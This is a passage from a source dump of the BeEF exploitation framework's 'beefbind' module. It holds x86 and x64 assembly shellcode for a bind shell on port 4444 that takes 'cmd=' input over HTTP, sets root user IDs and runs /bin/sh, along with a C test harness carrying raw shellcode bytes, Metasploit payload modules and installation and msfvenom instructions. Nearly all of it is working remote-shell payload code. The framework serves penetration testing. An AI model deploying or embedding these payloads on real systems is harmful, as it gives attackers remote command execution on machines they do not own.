0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20,0x33,0x30,0x34,0x38,0x0d,0x0a,0x0d,0x0a\n\nwritehttpheaders:\n\tpop rsi ;source address saved by call\n\tmov rdi, r14 ;ptr to allocated memory\n\tadd rdi, 0x400 ;skip 1024 bytes\n\tmov rcx, 0x62 ;copy 98 bytes\n\trep movsb\n\n\txor rdi, rdi ;zero rdi\n\tmov edi, DWORD [rsp] ;read from pipe\n\tmov rsi, r14 ;ptr to allocated memory\n\tadd rsi, 0x400 ;skip 1024 bytes\n\tadd rsi, 0x62 ;skip header\n\tmov rdx, 0xb86 ;read max 2950 bytes\t\n\txor rax,rax ;sys_read\n\tsyscall\n\n\n\tmov rdi, r15 ;clientsocket fd\n\tmov rsi, r14 ;ptr to allocated memory\n\tadd rsi, 0x400 ;skip 1024 first bytes\n\tmov rdx, 0xbe8 ;send max 3048 bytes\n\tpush BYTE 0x01\n\tpop rax ;sys_write\n\tsyscall\n\n\tmov rdi, r15 ;close clientsocket fd\n\tpush BYTE 0x03\n\tpop rax ;sys_close\n\tsyscall\n\t\n\tjmp doforever\nchild:\n\txor rdi, rdi \n\tmov edi, DWORD [rsp+0xc] ;close output side of pipe\n\tpush BYTE 0x03\n\tpop rax ;sys_close\n\tsyscall\n\n\txor rdi, rdi ;close stdin\n\tpush BYTE 0x03\n\tpop rax ;sys_close\n\tsyscall\n\n\tmov edi, DWORD [rsp+0x08] ;dup input side to stdin\n\tpush BYTE 0x20\n\tpop rax ;sys_dup\n\tsyscall\n\n\n\tmov edi, DWORD [rsp] ;close input side of other pipe\n\tpush BYTE 0x03\n\tpop rax ;sys_close\n\tsyscall\n\n\txor rdi, rdi\n\tinc rdi ;close stdout\n\tpush BYTE 0x03\n\tpop rax ;sys_close\n\tsyscall\n\n\tmov edi, DWORD [rsp+0x4] ;dup output side to stdout\n\tpush BYTE 0x20\n\tpop rax ;sys_dup\n\tsyscall\n\n\t;setresuid(0,0,0)\n\txor rdi, rdi\n\txor rsi, rsi\n\txor rdx, rdx\n\tpush BYTE 0x75\n\tpop rax ;sys_resuid\n\tsyscall\n\n\tpush BYTE 0x3b\n\tpop rax ;sys_execve\n\tmov rdi, 0x0068732f6e69622f ;/bin/shNULL\n\tpush rdi ;push to stack\n\tmov rdi, rsp ;ptr to stack\n\txor rsi, rsi ;NULL\n\txor rdx, rdx ;NULL\n\tsyscall\n"
  },
  {
    "path": "modules/exploits/beefbind/shellcode_sources/linux/x64/stager64.nasm",
    "content": "BITS 64\n\nSECTION .text\nglobal _start\n_start:\n\tcld ;clear direction flag\n\txor rdx, rdx ;zero rdx (proto=0)\n\tpush BYTE 0x01\n\tpop rsi ;SOCK_STREAM\n\tpush BYTE 0x02\n\tpop rdi ;AF_INET = 2\n\tpush BYTE 0x29\n\tpop rax ;sys_socket\n\tsyscall\n\tmov rbx, rax ; save socket filediscriptor\n\n\t;reuse socket\n\tpush 0x01  ;true\n\tmov r10, rsp ;ptr to optval\n\tpush BYTE 0x08\n\tpop r8 ;sizeof socklen_t\n\tpush BYTE 0x02\n\tpop rdx ;SO_REUSEADDR = 2\n\tpush BYTE 0x01\n\tpop rsi ;SOL_SOCKET = 1\n\tmov rdi, rbx ;socketfd\n\tpush BYTE 0x36 ;sys_setsockopt\n\tpop rax\n\tsyscall\n\n\txor rax,rax\n\tpush BYTE 0x10\n\tpop rdx ;addrlen\n\tpush rax\n\tpush rax\n\tmov DWORD [rsp], 0x5c110002 ;PORT 0x115c = 4444\n\tmov rsi, rsp ;ptr to sokaddr\n\tmov rdi, rbx ;socketfd\n\tpush BYTE 0x31\n\tpop rax ;sys_bind\n\tsyscall\n\n\txor rsi, rsi ;backlog ptr = NULL\n\tmov rdi, rbx ;socketfd\n\tpush BYTE 0x32\n\tpop rax ;sys_listen\n\tsyscall\n\n\t;accept\n\txor rdx,rdx ;addrlen ptr = NULL\n\txor rsi,rsi ;sockaddr ptr = NULL\n\tmov rdi, rbx ;socketfd\n\tpush BYTE 0x2B\n\tpop rax ;sys_accept\n\tsyscall\n\n\tmov r15, rax ;save client socket fd for later use\n\n\tmov rdi, rbx ;close server socket fd\n\tpush BYTE 0x03\n\tpop rax ;sys_close\n\tsyscall \n\n\t;allocate memory\n\t\n\txor rdi,rdi ;system determines location\n\tpush 0x1000 ;allocated size\n\tpop rsi\n\tpush BYTE 0x07\n\tpop rdx ;PROT_READ | PROT_WRITE | PROT_EXEC\n\tpush BYTE 0x22\n\tpop r10 ; MAP_ANONYMOUS | MAP_PRIVATE\n\tpush rdi\n\tpush rdi\n\tpop r9 ;offset\n\tpop r8 ;fd\n\tpush BYTE 0x09\n\tpop rax\n\tsyscall\n\tmov r14, rax ;save pointer allocated memory for later use\n\n\t;read into allocated memory\n\tmov rdi, r15 ;client socketfd\n\tmov rsi, r14 ;ptr to allocated memory\n\tmov dx, 0x1000 ;read one page of memory\n\tpush BYTE 0x00\n\tpop rax ;sys_read\n\tsyscall\n\n\t;close clientsocketfd\n\tmov rdi, r15 ;client socketfd\n\tpush BYTE 0x03\n\tpop rax ;sys_close\n\tsyscall\n\n\tmov rsi, r14 ;ptr to allocated memory\nsearch:\n\tcmp DWORD [rsi], 0x3d646d63 ;compare with \"cmd=\"\n\tje short found ;cmd= found\n\tinc rsi\n\tjmp short search ;search some more\nfound:\n\tpush BYTE 0x04 ;skip \"cmd=\"\n\tpop rax\n\tadd rsi, rax\n\tjmp rsi ;jump to stage\n"
  },
  {
    "path": "modules/exploits/beefbind/shellcode_sources/linux/x86/socket.c",
    "content": "/**\n Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n Browser Exploitation Framework (BeEF) - https://beefproject.com\n See the file 'doc/COPYING' for copying permission\n \n The C-skeleton to compile and test this shellcode is used with kind permission of Vivek Ramachandran. A standalone version can be compiled with:\n #gcc -m32 -fno-stack-protector -z execstack -o socket socket.c\n**/\n\n#include <stdio.h>\n#include <sys/mman.h>\n#include <string.h>\n#include <stdlib.h>\n\nint (*sc)();\n\nchar shellcode[] = \"\\xfc\\x31\\xc0\\x31\\xd2\\x6a\\x01\\x5b\\x50\\x40\\x50\\x40\\x50\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x89\\xc6\\x6a\\x0e\\x5b\\x6a\\x04\\x54\\x6a\\x02\\x6a\\x01\\x56\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x6a\\x02\\x5b\\x52\\x68\\x02\\x00\\x11\\x5c\\x89\\xe1\\x6a\\x10\\x51\\x56\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x43\\x43\\x53\\x56\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x43\\x52\\x52\\x56\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x96\\x93\\xb8\\x06\\x00\\x00\\x00\\xcd\\x80\\x6a\\x00\\x68\\xff\\xff\\xff\\xff\\x6a\\x22\\x6a\\x07\\x68\\x00\\x10\\x00\\x00\\x6a\\x00\\x89\\xe3\\x6a\\x5a\\x58\\xcd\\x80\\x89\\xc7\\x66\\xba\\x00\\x10\\x89\\xf9\\x89\\xf3\\x6a\\x03\\x58\\xcd\\x80\\x6a\\x06\\x58\\xcd\\x80\\x81\\x3f\\x63\\x6d\\x64\\x3d\\x74\\x03\\x47\\xeb\\xf5\\x6a\\x04\\x58\\x01\\xc7\\xff\\xe7\";\n\nint main(int argc, char **argv) {\n   char *ptr = mmap(0, sizeof(shellcode), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);\n   if (ptr == MAP_FAILED) {perror(\"mmap\");exit(-1);}\n   memcpy(ptr, shellcode, sizeof(shellcode));\n   sc = (int(*)())ptr;\n   (void)((void(*)())ptr)();\n   printf(\"\\n\");\n   return 0;\n}\n"
  },
  {
    "path": "modules/exploits/beefbind/shellcode_sources/linux/x86/stage.nasm",
    "content": "; Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n; Browser Exploitation Framework (BeEF) - https://beefproject.com\n; See the file 'doc/COPYING' for copying permission\n\nBITS 32\n\nSECTION .text\n\nglobal _start\n_start:\n\tcld ;clear direction flag\n\txor edx, edx ;zero edx\n\n\tpush BYTE 0x02\n\tpop ecx\n\t;create two pipes\ncreatepipes:\n\tpush edx ;allocate space on stack\n\tpush edx\n\tmov ebx, esp ; ptr to argument array\n\tpush BYTE 0x2A ;sys_pipe\n\tpop eax\n\tint 0x80 ;syscall \n\tdec ecx \n\tjcxz endcreatepipes ;jmp when both pipes are created\n\tjmp short createpipes ;create next pipe\n\nendcreatepipes:\t\n\t;create fork\t\n\txor ebx, ebx ;zero ebx\n\tpush BYTE 0x02 ;sys_fork\n\tpop eax\n\tint 0x80 ;syscall\n\tcmp eax, 0x00 ;parent or child\n\tje child\n\n\tmov ebx, [esp+0x8] ;close read end of one pipe\n\tpush BYTE 0x06 ;sys_close\n\tpop eax\n\tint 0x80\n\n\tmov ebx, [esp+0x4] ;close write end of the other pipe\n\tpush BYTE 0x06 ;sys_close\n\tpop eax\n\tint 0x80\n\n\t; make non blocking\n\tmov ebx, [esp] ;fd\n\tpush BYTE 0x04 ;F_SETFL\n\tpop ecx\n\tpush 0x800 ;O_NONBLOCK\n\tpop edx\n\tpush BYTE 0x37 ;sys_fcntl\n\tpop eax\n\tint 0x80\n \n\t;allocate one page of memory\n\tpush BYTE 0x00 ;offset = 0\n\tpush 0xffffffff ;fd=-1\n\tpush BYTE 0x22 ;MAP_ANONYMOUS | MAP_PRIVATE\n\tpush BYTE 0x07 ;PROT_READ | PROT_WRITE | PROT_EXEC\n\tpush 0x1000 ;allocated size\n\tpush 0x00 ;system determines location\n\tmov ebx, esp ;ptr to argument array\n\tpush BYTE 0x5a\n\tpop eax\n\tint 0x80\n\tmov edi, eax ;ptr to allocated memory\n\tadd esp, 0x18\n\t\ndoforever:\n\txor edx, edx\n\txor eax, eax\n\n\t;initialize socket\n\tpush BYTE 0x01\n\tpop ebx ;SYS_SOCKET\n\tpush eax ;proto = 0\n\tinc eax\n\tpush eax ;SOCK_STREAM = 1\n\tinc eax\n\tpush eax ;AF_INET = 2\n\tmov ecx, esp ;ptr to argument array\n\tpush BYTE 0x66\n\tpop eax ;socketcall is syscall #102\n\tint 0x80\n\tmov esi, eax ; save socket filedescriptor\n\tadd esp, 0x0C\n\n\t;reuse socket\n\tpush BYTE 0x0E\n\tpop ebx ;SYS_SETSOCKOPT\n\tpush BYTE 0x04 ;sizeof socklen_t\n\tpush esp ;address of socklen_t\n\tpush BYTE 0x02 ;SO_REUSEADDR = 2\n\tpush BYTE 0x01 ;SOL_SOCKET = 1\n\tpush esi ;socket fd\n\tmov ecx, esp ;ptr to argument array\n\tpush BYTE 0x66\n\tpop eax ;socketcall is syscall #102\t\n\tint 0x80\n\tadd esp, 0x14\n\n\t;bind socket to port\n\tpush BYTE 0x02\n\tpop ebx ;SYS_BIND\n\tpush edx ;INADDR_ANY\n\tpush 0x5c110002 ;PORT 0x115c = 4444\n\tmov ecx, esp ;ptr to server struct\n\tpush BYTE 0x10 ; addrlen\n\tpush ecx\n\tpush esi ;socketfd\n\tmov ecx, esp ;ptr to argument array\n\tpush BYTE 0x66\n\tpop eax ;socketcall is syscall #102\n\tint 0x80\n\tadd esp, 0x14\n\n\tinc ebx\n\tinc ebx  ;SYS_LISTEN\n\tpush ebx ;backlog\n\tpush esi ;socketfd\n\tmov ecx, esp ;ptr to argument array\n\tpush BYTE 0x66\n\tpop eax ; socketcall is syscall #102\n\tint 0x80\n\tadd esp, 0x08\n\t\n\tinc ebx ;SYS_ACCEPT\n\tpush edx ;socklen = 0\n\tpush edx ;sockaddr ptr = NULL\n\tpush esi ;sockfd\n\tmov ecx, esp ;ptr to argumet array\n\tpush BYTE 0x66\n\tpop eax ;socketcall is syscall #102\n\tint 0x80\n\tadd esp, 0x0c\n\t\n\txchg esi, eax ;serversocket in eax and clientsocket handler in esi\n\txchg eax, ebx ;serversocket in ebx\n\tmov eax, 0x06 ;close serversocket\n\tint 0x80\n\n\tmov ecx, 0x1000\nfirstzeromemory:\n\t;zero out memory\n\tdec ecx\n\tmov ebx, edi\n\tadd ebx, ecx\n\tmov BYTE [ebx], 0x00\n\tjecxz readfromsocket\n\tjmp firstzeromemory\n\nreadfromsocket:\n\t;read from socket into memory\n\tmov dx, 0x400 ;read 1024 bytes\n\tmov ecx, edi ;ptr to allocated memory\n\tmov ebx, esi ;clientsocket\n\tpush BYTE 0x03\n\tpop eax ;sys_read\n\tint 0x80\n\n\tpush edi ;ptr to allocate memory\n\tpush esi ;clientsocket\n\tmov ebx, edi ;ptr to allocated memory\n\tmov ecx, 0x400 ;search in 1024 bytes\nsearch:\n\tcmp DWORD [ebx], 0x3d646D63 ;compare with \"cmd=\"\n\tje found ;cmd= found\n\tinc ebx\n\tdec ecx\n\tjecxz notfound ;cmd= not in received buffer\n\tjmp search ;search some more\n\nfound:\n\tmov ecx, ebx ;put ptr to memory where \"cmd=\" was found\n\tadd ecx, 0x03 ;skip \"cmd\"\n\tmov ebx, [esp+0x14] ;write to pipe\nsendcommand:\n\tinc ecx ;first time skip \"=\", move to next byte\n\tpush BYTE 0x01 ;write one byte\n\tpop edx\n\tpush BYTE 0x04 ;sys_write\n\tpop eax\n\tint 0x80\n\tcmp BYTE [ecx], 0x0a ;LF character?\n\tjne sendcommand ;else continue write to pipe\n\n\t;sleep one second\n\tpush 0x00\n\tpush 0x01 ;one second\n\tmov ebx, esp ;ptr to argument array\n\txor ecx, ecx ;NULL\n\tmov eax, 0xA2 ;sys_nanosleep\n\tint 0x80\n\tadd esp, 0x08 ;clean up stack\t\n\nnotfound:\n\tcall writehttpheaders\t\n\tdb 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20,0x32,0x30,0x30,0x20,0x4f,0x4b,0x0d,0x0a  ;HTTP/1.1 200 OK\n\tdb 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x0d,0x0a  ;Content-Type: text/html\n\tdb 0x41,0x63,0x63,0x65,0x73,0x73,0x2d,0x43,0x6f,0x6e,0x74,0x72,0x6f,0x6c,0x2d,0x41,0x6c,0x6c,0x6f,0x77,0x2d,0x4f,0x72,0x69,0x67,0x69,0x6e,0x3a,0x20,0x2a,0x0d,0x0a  ;Access-Control-Allow-Origin: *\n\tdb 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20,0x33,0x30,0x34,0x38,0x0d,0x0a,0x0d,0x0a  ;Content-Length: 3048\n\nwritehttpheaders:\n\tpop esi ;source address saved by call\n\tadd edi, 0x400 ;ptr to memory skip 1024 bytes\n\tmov ecx, 0x62 ;copy 98 bytes\n\trep movsb\n\t\n\tpop edi ;restore clientsocket \t\n\tpop esi ;restore ptr to memory\n\t\n\t\t\n\tmov ebx, [esp] ;read from pipe\n\tmov ecx, esi ;ptr to memory\n\tadd ecx, 0x400 ;skip 1024 bytes\n\tadd ecx, 0x62 ;skip header\n\tpush 0xB86 ;read max 2950 bytes\n\tpop edx\n\tpush BYTE 0x03 ;sys_read\n\tpop eax\n\tint 0x80\n\n\tmov ebx, edi ;clientsocket\n\tmov ecx, esi ;ptr to memory\n\tadd ecx, 0x400 ;skip 1024 first bytes\n\tmov edx, 0xbe8 ;send max 3048 bytes\n\tpush BYTE 0x04 ;sys_write\n\tpop eax\n\tint 0x80\n\n\t;close clientsocket\t\n\tpush BYTE 0x06 ;sys_close\n\tpop eax\n\tint 0x80\n\n\tmov edi, esi ;restore memory ptr into edi\n\tjmp doforever\n\nchild:\n\tmov ebx, [esp+0xC] ;close output side of pipe \n\tpush BYTE 0x06 ;sys_close\n\tpop eax\n\tint 0x80\n\t\n\txor ebx, ebx ;close stdin\n\tpush BYTE 0x06 ;sys_close\n\tpop eax\n\tint 0x80\n\n\tmov ebx, [esp+0x8] ;dup input side to stdin\n\tpush BYTE 0x29 ;sys_dup\n\tpop eax\n\tint 0x80\n\t\n\tmov ebx, [esp] ;close input side of other pipe\n\tpush BYTE 0x06\n\tpop eax\n\tint 0x80\n\n\txor ebx, ebx\n\tinc ebx ;close stdout\n\tpush BYTE 0x06 ;sys_close\n\tpop eax\n\tint 0x80\n\n\tmov ebx, [esp+0x4] ;dup output side to stdout\n\tpush BYTE 0x29 ;sys_dup\n\tpop eax\n\tint 0x80\n\n\t;setresuid(0,0,0)\n\txor eax, eax\n\txor ebx, ebx\n\txor ecx, ecx\n\txor edx, edx\n\tmov al, 0xa4 ;sys_setresuid16\n\tint 0x80\n\n\t;execve(\"/bin//sh\", 0, 0)\t\n\txor eax, eax\n\tpush eax\n\tpush eax\n\tpush 0x68732f2f ;//sh\n\tpush 0x6e69622f ;/bin\n\tmov ebx, esp\n\tpush BYTE 0x0b ;sys_execve\n\tpop eax\n\tint 0x80\n"
  },
  {
    "path": "modules/exploits/beefbind/shellcode_sources/linux/x86/stager.nasm",
    "content": "; Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n; Browser Exploitation Framework (BeEF) - https://beefproject.com\n; See the file 'doc/COPYING' for copying permission\n\nBITS 32\n\nSECTION .text\n\nglobal _start\n_start:\n\tcld ;clear direction flag\n\txor eax, eax ;zero eax\n\txor edx, edx ;zero edx\n\n\t;initialize socket\n\tpush BYTE 0x01\n\tpop ebx ;SYS_SOCKET\n\tpush eax ;  proto = 0 \n\tinc eax\n\tpush eax ;SOCK_STREAM = 1\n\tinc eax \n\tpush eax ;AF_INET = 2\n\tmov ecx, esp ; ptr to argument array\n\tpush BYTE 0x66\n\tpop eax ;socketcall is syscall #102\t\n\tint 0x80\n\tmov esi, eax ;save socket filediscriptor\n\n\tpush BYTE 0x0E\n\tpop ebx ;SYS_SETSOCKOPT\n\tpush BYTE 0x04  ;sizeof socklen_t\n\tpush esp ; address of socklen_t\n\tpush BYTE 0x02  ;SO_REUSEADDR = 2\n\tpush BYTE 0x01 ;SOL_SOCKET = 1\n\tpush esi ;socket fd\n\tmov ecx, esp ;ptr to argument array\n\tpush BYTE 0x66\n\tpop eax ; socketcall is syscall #102\n\tint 0x80\n\n\t;bind socket to port\n\tpush BYTE 0x02\n\tpop ebx ;SYS_BIND\n\tpush edx ;INADDR_ANY\n\tpush 0x5c110002 ;PORT 0x115C = 4444\n\tmov ecx, esp ;server struct\n\tpush BYTE 0x10 ;addrlen\n\tpush ecx\n\tpush esi ;socketfd\n\tmov ecx, esp ; ptr to argument array\n\tpush BYTE 0x66\n\tpop eax ;socketcall is syscall #102\n\tint 0x80\n\n\tinc ebx\n\tinc ebx ;SYS_LISTEN\n\tpush ebx ;backlog\n\tpush esi ;socketfd\n\tmov ecx, esp ;ptr to argument array\n\tpush BYTE 0x66\n\tpop eax ;socketcall is syscall #102\n\tint 0x80\n\n\tinc ebx ;SYS_ACCEPT\n\tpush edx ;socklen = 0\n\tpush edx ;sockaddr ptr = NULL\n\tpush esi ;socketfd\n\tmov ecx, esp ; ptr to argument array\n\tpush BYTE 0x66\n\tpop eax ;socketcall is syscall #102\n\tint 0x80\n\n\txchg esi, eax ;serversocket in eax and client socket handler into esi\n\txchg eax, ebx ;serversocket in ebx\n\tmov eax, 0x6 ;close serversocket\n\tint 0x80\n\n\tpush BYTE 0x00 ;offset =0\n\tpush 0xFFFFFFFF ;fd = -1\n\tpush BYTE 0x22 ;MAP_ANONYMOUS | MAP_PRIVATE\n\tpush BYTE 0x07 ;PROT_READ | PROT_WRITE | PROT_EXEC\n\tpush 0x1000 ;allocated size\n\tpush BYTE 0x00 ;system determines location\n\tmov ebx, esp ;ptr tot argument array\n\tpush BYTE 0x5a\n\tpop eax ;MMAP call\n\tint 0x80\n\tmov edi, eax ;ptr to allocated memory\n\n\t; read from socket into memory\n\tmov dx, 0x1000 ;max bytes to read\n\tmov ecx, edi ;pointer to memory\n\tmov ebx, esi ;clientsocket\n\tpush BYTE 0x03\n\tpop eax\n\tint 0x80\t\n\n\tpush BYTE 0x06\n\tpop eax ;close clientsocket\n\tint 0x80\n\nsearch:\n\tcmp DWORD [edi], 0x3d646d63 ;compare with \"cmd=\"\n\tje short found ;jump if found\n\tinc edi ;look some further\n\tjmp short search\nfound:\n\tpush BYTE 0x04 \n\tpop eax\n\tadd edi, eax ;skip \"cmd=\"\n\tjmp edi ;jump to the staged shellcode\n"
  },
  {
    "path": "modules/exploits/beefbind/shellcode_sources/msf/README.md",
    "content": "# Metasploit BeEF Bind Payloads\n\nNote: the paths specified below relate to the Metasploit installation directory\non Kali Linux. The paths may differ on your system.\n\n## Install Handler\n\nInstalling BeEF Bind payloads requires also installing a custom handler into framework:\n\n```sh\nsudo cp beef_bind-handler.rb /usr/share/metasploit-framework/lib/msf/core/handler/beef_bind.rb\n```\n\n## Install Payloads\n\nPayloads can be installed into the Metasploit Framework installation directory\n(for all users) or user's home directory `~/.msf4/modules/payloads/...`.\n\n```sh\ncp beef_bind-stage-windows-x86.rb /usr/share/metasploit-framework/modules/payloads/stages/windows/beef_shell.rb\ncp beef_bind-stager-windows-x86.rb /usr/share/metasploit-framework/modules/payloads/stagers/windows/beef_bind.rb\n\ncp beef_bind-stage-linux-x86.rb /usr/share/metasploit-framework/modules/payloads/stages/linux/x86/beef_shell.rb\ncp beef_bind-stager-linux-x86.rb /usr/share/metasploit-framework/modules/payloads/stagers/linux/x86/beef_bind.rb\n\ncp beef_bind-stage-linux-x64.rb /usr/share/metasploit-framework/modules/payloads/stages/linux/x64/beef_shell.rb\ncp beef_bind-stager-linux-x64.rb /usr/share/metasploit-framework/modules/payloads/stagers/linux/x64/beef_bind.rb\n```\n\n## Generating Payloads\n\nCheck it works:\n\n```sh\nmsfvenom -l payloads | grep beef_bind\n```\n\nDump stager and stage in C format:\n\n```sh\nmsfvenom -p windows/beef_shell/beef_bind --format C\n```\n\nDump stager in raw format:\n\n```sh\nmsfvenom -p windows/beef_shell/beef_bind R > beef_bind-stager\n```\n\nEncode stager to remove nulls:\n\n```sh\nmsfvenom -p windows/beef_shell/beef_bind R --bad-chars '\\x00' > beef_bind-stager-nonull\n```\n\n"
  },
  {
    "path": "modules/exploits/beefbind/shellcode_sources/msf/beef_bind-handler.rb",
    "content": "##\n# $Id: beef_bind-handler.rb 121018 Ty Miller @ Threat Intelligence$\n##\n\nmodule Msf\n  module Handler\n    ###\n    #\n    # This module implements the Bind TCP handler placeholder only.\n    #\n    ###\n    module BeefBind\n      include Msf::Handler\n\n      #\n      # Returns the handler specific string representation\n      #\n      def self.handler_type\n        'beef_bind'\n      end\n\n      #\n      # Returns the connection oriented general handler type\n      #\n      def self.general_handler_type\n        'bind'\n      end\n\n      #\n      # Initializes a bind handler and adds the options common to all bind\n      # payloads, such as local port.\n      #\n      def initialize(info = {})\n        super\n        register_options(\n          [\n            Opt::LPORT(4444)\n            # OptAddress.new('RHOST', [false, 'The target address', '']),\n          ], Msf::Handler::BeefBind\n        )\n      end\n\n      #\n      # Placeholder only\n      #\n      def cleanup_handler; end\n\n      #\n      # Placeholder only\n      #\n      def add_handler(_opts = {})\n        # Start a new handler\n        start_handler\n      end\n\n      #\n      # Placeholder only\n      #\n      def start_handler; end\n\n      #\n      # Placeholder only\n      #\n      def stop_handler; end\n    end\n  end\nend\n"
  },
  {
    "path": "modules/exploits/beefbind/shellcode_sources/msf/beef_bind-stage-linux-x64.rb",
    "content": "##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\nrequire 'msf/base/sessions/command_shell'\nrequire 'msf/base/sessions/command_shell_options'\n\nmodule MetasploitModule\n  include Msf::Payload::Linux\n  include Msf::Sessions::CommandShellOptions\n\n  def initialize(info = {})\n    super(merge_info(info,\n                     'Name' => 'BeEF Bind Linux Command Shell Stage (stage x64)',\n                     'Description' => 'Spawn a piped command shell (staged) with an HTTP interface',\n                     'Author' => ['Bart Leppens'],\n                     'License' => BSD_LICENSE,\n                     'Platform' => 'linux',\n                     'Arch' => ARCH_X64,\n                     'Session' => Msf::Sessions::CommandShell,\n                     'PayloadCompat' =>\n                        {\n                          'Convention' => 'beef_bind'\n                        },\n                     'Stage' =>\n                        {\n                          'Offsets' =>\n                             {\n                               'LPORT' => [165, 'n']\n                             },\n                          'Payload' =>\n                            \"\\xfc\\x48\\x31\\xd2\\x6a\\x02\\x41\\x5e\\x52\\x48\\x89\\xe7\\x6a\\x16\\x58\\x0f\" \\\n                            \"\\x05\\x49\\xff\\xce\\x4d\\x85\\xf6\\x74\\x02\\xeb\\xed\\x6a\\x39\\x58\\x0f\\x05\" \\\n                            \"\\x83\\xf8\\x00\\x0f\\x84\\xdd\\x01\\x00\\x00\\x48\\x31\\xff\\x8b\\x7c\\x24\\x08\" \\\n                            \"\\x6a\\x03\\x58\\x0f\\x05\\x8b\\x7c\\x24\\x04\\x6a\\x03\\x58\\x0f\\x05\\x8b\\x3c\" \\\n                            \"\\x24\\x6a\\x04\\x5e\\x48\\x31\\xd2\\xba\\x00\\x08\\x00\\x00\\x6a\\x48\\x58\\x0f\" \\\n                            \"\\x05\\x48\\x31\\xff\\x68\\x00\\x10\\x00\\x00\\x5e\\x6a\\x07\\x5a\\x6a\\x22\\x41\" \\\n                            \"\\x5a\\x57\\x57\\x41\\x59\\x41\\x58\\x6a\\x09\\x58\\x0f\\x05\\x49\\x89\\xc6\\x48\" \\\n                            \"\\x31\\xd2\\x6a\\x01\\x5e\\x6a\\x02\\x5f\\x6a\\x29\\x58\\x0f\\x05\\x48\\x89\\xc3\" \\\n                            \"\\x6a\\x01\\x49\\x89\\xe2\\x6a\\x08\\x41\\x58\\x6a\\x02\\x5a\\x6a\\x01\\x5e\\x48\" \\\n                            \"\\x89\\xdf\\x6a\\x36\\x58\\x0f\\x05\\x58\\x48\\x31\\xc0\\x6a\\x10\\x5a\\x50\\x50\" \\\n                            \"\\xc7\\x04\\x24\\x02\\x00\\x11\\x5c\\x48\\x89\\xe6\\x48\\x89\\xdf\\x6a\\x31\\x58\" \\\n                            \"\\x0f\\x05\\x58\\x58\\x48\\x31\\xf6\\x48\\x89\\xdf\\x6a\\x32\\x58\\x0f\\x05\\x48\" \\\n                            \"\\x31\\xd2\\x48\\x31\\xf6\\x48\\x89\\xdf\\x6a\\x2b\\x58\\x0f\\x05\\x49\\x89\\xc7\" \\\n                            \"\\x48\\x89\\xdf\\x6a\\x03\\x58\\x0f\\x05\\xb9\\x00\\x10\\x00\\x00\\x48\\xff\\xc9\" \\\n                            \"\\x4c\\x89\\xf3\\x48\\x01\\xcb\\xc6\\x03\\x00\\xe3\\x02\\xeb\\xf0\\x48\\x31\\xd2\" \\\n                            \"\\x4c\\x89\\xff\\x4c\\x89\\xf6\\x66\\xba\\x00\\x04\\x6a\\x00\\x58\\x0f\\x05\\xb9\" \\\n                            \"\\x00\\x04\\x00\\x00\\x4c\\x89\\xf3\\x81\\x3b\\x63\\x6d\\x64\\x3d\\x74\\x0a\\x48\" \\\n                            \"\\xff\\xc3\\x48\\xff\\xc9\\xe3\\x34\\xeb\\xee\\x48\\x31\\xff\\x48\\x89\\xd9\\x48\" \\\n                            \"\\x83\\xc1\\x03\\x48\\x89\\xce\\x8b\\x7c\\x24\\x0c\\x48\\xff\\xc6\\x6a\\x01\\x5a\" \\\n                            \"\\x6a\\x01\\x58\\x0f\\x05\\x80\\x3e\\x0a\\x75\\xf0\\x6a\\x23\\x58\\x6a\\x00\\x6a\" \\\n                            \"\\x01\\x48\\x89\\xe7\\x48\\x31\\xf6\\x0f\\x05\\x58\\x58\\xe8\\x62\\x00\\x00\\x00\" \\\n                            \"\\x48\\x54\\x54\\x50\\x2f\\x31\\x2e\\x31\\x20\\x32\\x30\\x30\\x20\\x4f\\x4b\\x0d\" \\\n                            \"\\x0a\\x43\\x6f\\x6e\\x74\\x65\\x6e\\x74\\x2d\\x54\\x79\\x70\\x65\\x3a\\x20\\x74\" \\\n                            \"\\x65\\x78\\x74\\x2f\\x68\\x74\\x6d\\x6c\\x0d\\x0a\\x41\\x63\\x63\\x65\\x73\\x73\" \\\n                            \"\\x2d\\x43\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x2d\\x41\\x6c\\x6c\\x6f\\x77\\x2d\\x4f\" \\\n                            \"\\x72\\x69\\x67\\x69\\x6e\\x3a\\x20\\x2a\\x0d\\x0a\\x43\\x6f\\x6e\\x74\\x65\\x6e\" \\\n                            \"\\x74\\x2d\\x4c\\x65\\x6e\\x67\\x74\\x68\\x3a\\x20\\x33\\x30\\x34\\x38\\x0d\\x0a\" \\\n                            \"\\x0d\\x0a\\x5e\\x4c\\x89\\xf7\\x48\\x81\\xc7\\x00\\x04\\x00\\x00\\xb9\\x62\\x00\" \\\n                            \"\\x00\\x00\\xf3\\xa4\\x48\\x31\\xff\\x8b\\x3c\\x24\\x4c\\x89\\xf6\\x48\\x81\\xc6\" \\\n                            \"\\x00\\x04\\x00\\x00\\x48\\x83\\xc6\\x62\\xba\\x86\\x0b\\x00\\x00\\x48\\x31\\xc0\" \\\n                            \"\\x0f\\x05\\x4c\\x89\\xff\\x4c\\x89\\xf6\\x48\\x81\\xc6\\x00\\x04\\x00\\x00\\xba\" \\\n                            \"\\xe8\\x0b\\x00\\x00\\x6a\\x01\\x58\\x0f\\x05\\x4c\\x89\\xff\\x6a\\x03\\x58\\x0f\" \\\n                            